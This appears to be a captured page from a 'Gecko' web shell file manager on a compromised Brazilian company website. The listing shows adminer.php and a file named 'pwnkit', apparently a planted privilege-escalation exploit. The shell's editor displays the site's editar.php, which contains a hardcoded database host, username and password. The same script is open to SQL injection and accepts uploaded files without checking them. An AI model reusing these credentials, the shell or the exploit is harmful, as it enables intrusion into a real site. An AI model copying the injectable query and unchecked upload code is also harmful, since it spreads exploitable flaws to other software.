Gecko [ www.argiplam.com.br ]

Name	Size	Permission
adminer.php	465.43 KB	-rw-r--r--
editar.php	5.82 KB	-rw-r--r--
editar.php.old	5.82 KB	-rw-r--r--
index.php	6.91 KB	-rw-r--r--
index.php.old	6.91 KB	-rw-r--r--
pwnkit	10.99 KB	-rw-r--r--

Code Editor : editar.php

<?php
/*=============================================================================================
estabelece a ligação à base de dados 
=============================================================================================*/
$ligacao = new mysqli("mysql.argiplam.com.br", "argiplamteste", "Argiplam1234", "argiplamteste");
mysqli_set_charset($ligacao, 'utf8');

/*=============================================================================================
Verificar se o formulário foi submetido
=============================================================================================*/
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $titulo = filter_input(INPUT_POST, 'T_titulo');
    $texto = filter_input(INPUT_POST, 'T_subtitulo');
    $url = filter_input(INPUT_POST, 'T_url');
    $id = $_POST["T_id"];
     $anexo_id = $_POST["T_anexo_id"];
    
    /* validar os dados recebidos do formulario */
    if (empty($titulo)){
        echo "<script>alert('Todos os campos do formulário devem conter valores.');window.location='../portfolio_home_new_db'</script>"; 
        exit();
    }    
}
else{
   echo "<script>alert('Não foi possível completar a operação. Tente novamente mais tarde ou entre em contato com o suporte.');window.location='../portfolio_home_new_db'</script>"; 
   exit();
}

/*=============================================================================================
verifica se ocorreu algum erro na ligação
=============================================================================================*/
if ($ligacao->connect_errno) {
    echo "<script>alert('Falha ao deletar, tente novamente ou entre em contato com o suporte.');window.location='../portfolio_home_new_db'</script>" . $ligacao->error;
    exit();
}

/*=============================================================================================
insere os valores no banco de dados
=============================================================================================*/

$inserir = "UPDATE portfoliohomenew SET titulo='$titulo', legenda='$texto', url='$url' WHERE id='$id'";

if (!$ligacao->query($inserir)) {
    echo "<script>alert('Falha ao deletar, tente novamente ou entre em contato com o suporte.');window.location='../portfolio_home_new_db'</script>" . $ligacao->error;
    $ligacao->close();  
}
else{
    /*=========================================================
    recupera o ultimo id inserido no INSERT acima
    =========================================================*/
    $ultimo_id = $ligacao->insert_id;
}

if(isset($_FILES["InputFile"]) && !empty($_FILES["InputFile"]["name"])) {
//Se o usuário escolheu uma imagem, grava a nova imagem que o usuário escolheu

/*=============================================================================================
verifica se tem arquivo para upload
=============================================================================================*/  
        $dir = "../gerenciador/plugins/images/";
        $dname = $anexo_id;

if (!unlink ($dir.$dname))
{
}
else
{
}
  
if(isset($_FILES["InputFile"])){
    $file               = $_FILES["InputFile"]["name"];
    $file_tmp           = $_FILES["InputFile"]["tmp_name"];
    $tamanho            = $_FILES["InputFile"]["size"];
    $tipo               = $_FILES["InputFile"]["type"];
    
    /*=============================================================================================
    aqui pega extensao do arquvo
    =============================================================================================*/
    $ext                = pathinfo($file, PATHINFO_EXTENSION);
    
    /*=============================================================================================
    cria um nome unico para o arquivo usando o ultimo id recuperado do insert + extensao
    =============================================================================================*/

$nome_arquivo = 'imagem_port'.$id.'.'.$ext;

/*=============================================================================================
    coloca o caminho da pasta
    =============================================================================================*/    
    $pasta          = "../gerenciador/plugins/images/";
    
    
    /*=============================================================================================
    faz upload na pasta 
    =============================================================================================*/    
    move_uploaded_file($file_tmp, $pasta.$nome_arquivo); 
    $titulo = utf8_decode ($_POST["titulo"]);

/*=============================================================================================
    faz update no ultimo id criado anteriormente
    =============================================================================================*/    
    $update = "UPDATE portfoliohomenew SET anexo_id='$nome_arquivo' WHERE id='$id'";

/*=============================================================================================
    executar a consulta e testar se ocorreu erro
    =============================================================================================*/    
    if (!$ligacao->query($update)) {
        echo " ERRO - Falha ao executar a consulta: \"$consulta\" <br>" . $ligacao->error;
        $ligacao->close();  
    }
    else{
        echo "<script>alert('Atualizado com sucesso');window.location='../portfolio_home_new_db'</script>"; 
    }

$ligacao->close();       
}
} else {

if (!$ligacao->query($inserir)) {
        echo "<script>alert('Falha ao deletar, tente novamente ou entre em contato com o suporte.');window.location='../portfolio_home_new_db'</script>" . $ligacao->error;
        $ligacao->close();  
    }
    else{
        echo "<script>alert('Atualizado com sucesso');window.location='../portfolio_home_new_db'</script>"; 
    }

$ligacao->close();     
}

${this.title}

Code Editor : editar.php